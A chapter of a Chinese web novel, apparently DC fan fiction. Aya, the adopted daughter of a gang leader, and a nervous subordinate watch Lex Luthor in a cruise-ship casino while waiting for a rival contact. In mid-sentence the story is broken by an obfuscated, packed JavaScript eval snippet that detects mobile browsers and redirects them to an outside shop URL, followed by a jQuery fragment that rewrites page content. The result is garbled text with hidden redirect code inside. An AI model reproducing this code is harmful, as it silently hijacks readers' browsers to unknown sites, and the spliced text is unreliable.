7. Chapter 7
作品:《从密教流亡到哥谭》 水晶吊灯的光从高处泼洒下来,在光洁的地面上反射出大片璀璨的光芒,又在晶莹剔透的高脚杯、光彩夺目的宝石和锃亮的家具摆设之间折射,最终化作一片令人目眩的光海,在宴会厅里沉沉浮浮。
轮盘球的哒哒轻跳,扑克牌滑过绿色呢面的沙沙声,骰子撞在赌台边缘的脆响,混合着压低的笑语、惊叹和偶尔抑制不住的懊恼低咒,汇成这片海上不夜城令人血脉偾张的背景音。
浮光魅影,奢华富丽。
多少普通人终其一生赚到的钱,甚至都无法在这些赌桌上走一遭,然而这只是“海洋绿洲”号上,再普通不过的冰山一角。
因此,有资格站在这处赌场的,无一不是人中精英。
而在这种“一砖头砸到十个人,其中有九个是亿万富翁”的情况下,如果还有人能够站在所有人之上,以居高临下的姿态品评一切、观察一切,那么,这个人就是毋庸置疑的天之骄子,十亿里挑一的幸运儿。
——很明显,莱克斯·卢瑟就是这样一个人。
他面容瘦削,线条清晰如雕刻,高而宽的额头下,是一双幽绿的、狼一样的眼睛。
不管以什么标准来判断,他都算不上英俊,甚至因为有一个寸草不生的光头,而显得愈发病态、古怪。
然而,一旦把他的身家财富,也衡量进这个判断标准里的话,那么莱克斯·卢瑟无疑是世界上最英俊的人之一。
哪怕眼下,卢瑟只是端着一杯再简单不过的冰水,站在赌场二层环绕平台的阴影里,前来找他攀谈的人也络绎不绝:
“卢瑟先生,之前说的那笔交易,您看……”
“听说下个月哥谭有一场地下拍卖会,将拍卖一些有意思的小玩意儿。如果你对此感兴趣,请务必联系我。”
“先生,这是那边的女士们给您送的酒。”
“怎么能让你一个人在这里呢?这些小妞儿真没眼色。来吧,兄弟,我带你去找点乐子。”
他不在这里时,这只不过是赌场里采光不好的角落之一;他现在站在这里,于是不多久,此处便往来者众,宾客云集。
这个局面对想要和卢瑟社交的人来说,很友好,但对某些想要暗中和他取得联系的人来说,就没那么乐观了。
就比如正站在一楼大厅角落里,正借着建筑和采光的死角,把自己隐藏起来的阿娅,和负责协助她的小头目。
在雅典人没有现身时,阿娅也不会贸然露面,毕竟眼下他们正置身俄罗斯,在敌人的地盘上,当然要谨慎行事。
——但此时,游轮已经起航一小时了。
有人已经在赌桌上,输掉了半片非洲大陆的一年GDP;有人痛饮美酒,醉得不知今夕何夕;更有人携女伴悄然退场,明摆着要去搞一些不允许发生的脖子以下的事情。
直到此时,雅典人还是没有出现,小头目的思考重点才终于发生了变化:
“有没有可能,这是个陷阱?他们放出假消息,说要在海洋绿洲号上商讨生意,事实上是要把我们困在这里?”
阿娅虚心求教:“哇,我竟不知道,你也有被如此重视的潜力。”
小头目怒从心头起,恶向胆边生,一时间只想解下铜头皮带,把这个狂妄的狗比同僚抽得如陀螺般旋转——开玩笑的,他怎么敢呢,哈哈,只是想想过过瘾都让人觉得格外心虚——最后只能不情不愿地更正道:
“……好吧,好吧,说得精确一点,如果雅典人真的布下了陷阱,那么他们唯一的目标只有您!”
“但如果他们真是这么打算的,那么他们要谋划的,就必然是格外可怕的东西。您少安毋躁,我去联系接应人员,核实情况。”
正在小头目想要用特制的、在公海上航行都能有满格信号的联络器,和同僚们取得联系时,阿娅突然叫停了他所有的动作,因为一道陌生的身影,已经如鬼魅般,突然出现在了卢瑟的身边:
“等等,不用了。”
“那是雅典人的苏斯金,我认得他。”①
小头目闻言,先是松了一口气,随即又提起一口气来,只觉这颗心在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016351|194196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胸膛里跳得上上下下、忐忐忑忑、好不热闹:
很难说他是觉得,“太好了,雅典人在船上,这不是个陷阱,我不会被卷进争端,保全了这条小命”,正因此欣喜;还是觉得“天塌了,阿娅小姐为什么跟敌对阵营的家伙看起来关系不错的样子,等汇报任务首领问起来的时候,我会不会又成为这两人PLAY的一环”,正在心底痛骂所有不当人的领导和领导二代。
但不管是杜弗尔还是阿娅,都是他得罪不起的。
于是到头来,小头目也只能迁怒骂一句卢瑟。
因为卢瑟选的那个位置太刁钻了。离他太近,就没有办法纵观全场,保证自己的安全;但离他远一些,就会被挡在这一圈来跟他社交的人外面:
“这家伙是什么父母双亡缺爱自闭的天才孤儿吗,非要选这么个位置?真难为这些普通人怎么找过来的。”
阿娅冷静解答:“可能因为他的光头反光,明亮如灯塔坐标。”
刚刚还憋了一肚子火的小头目,突然觉得自己的苹果肌正在不受控制地做引体向上:
住嘴啊,死嘴,不要笑!想想你的任务,想想首领的喜怒无常,想想……哈哈,反光!!!
正在他一个没憋住,笑出来的当口,阿娅已经轻盈如一尾游鱼般,从他身边离开了。
望着阿娅远去的背影,小头目突然就不生气了。
他不仅不生气了,甚至觉得有些微妙的可惜与同情:
……哎,真是世事无常,造化弄人。
如果阿娅小姐不是首领的养女,如果她不是清算人暴徒,按照她这种面无表情一本正经说怪话的性子,当她只是个普通人时,该是多么年轻、聪明、漂亮又快活的好姑娘啊。
这个危险的想法,只在他的脑海里停留了很短暂的一瞬息,就倏忽消失,再也不见,半点痕迹也不剩下。
因为阿娅已经直直走到了灯光下,穿过众人正在翩翩起舞的舞池,如一柄出鞘的、迎面劈来的利剑,一路目不斜视,径直走到了莱克斯·卢瑟的面前。

